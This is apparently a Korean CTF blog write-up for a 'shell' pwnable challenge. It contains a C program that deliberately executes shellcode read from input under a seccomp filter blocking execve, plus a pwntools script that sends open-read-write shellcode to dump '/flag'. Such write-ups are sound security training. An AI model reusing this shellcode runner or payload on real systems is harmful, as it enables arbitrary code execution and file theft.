혜랑's STORY

shell 본문

무지성 공부방/Pwnable 문제 만들기

shell

hyerang0125 2022. 3. 1. 18:06
shell.c
// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev

#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>

void banned_execve() {
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_ALLOW);
  if (ctx == NULL) {
    exit(0);
  }
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);

  seccomp_load(ctx);
}

void main(int argc, char *argv[]) {
  char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);   
  void (*sc)();
  
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  
  banned_execve();

  read(0, shellcode, 0x1000);

  sc = (void *)shellcode;
  sc();
}

 

코드를 자세히 살펴보자.

  • banned_execve()
void banned_execve() {
  scmp_filter_ctx ctx;
  ctx = seccomp_init(SCMP_ACT_ALLOW);
  if (ctx == NULL) {
    exit(0);
  }
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);

  seccomp_load(ctx);
}

 

위 함수로 인해 execve, execvat 시스템 콜을 사용하지 못한다. 따라서 orw로 셸코드를 만들어 해결해야 한다. 

먼저 구현하려는 셸코드의 동작을 c언어 형식의 의사코드로 표현하면 다음과 같다.

 

 open("파일 위치") 
 read('rax', 'rsp', 0x1000) 
 write(1, 'rsp', 0x1000)

 

orw 셸코드를 작성하기 위해 pwntools에서 제공하는 제공하는 shellcrafts를 사용할 것이다.
작성한 payload는 다음과 같다.

 

from pwn import *

#context.log_level = 'debug'

p = process('./shell')
#p = remote('ctf-hackingcamp.com', '14350')

context(arch = 'amd64', os = 'linux')

shellcode = ''
shellcode += shellcraft.open('/flag')
shellcode += shellcraft.read('rax', 'rsp', 100)
shellcode += shellcraft.write(1, 'rsp', 100)

p.sendline(asm(shellcode))

p.interactive()

 

 

성공적으로 플래그를 획득하였다.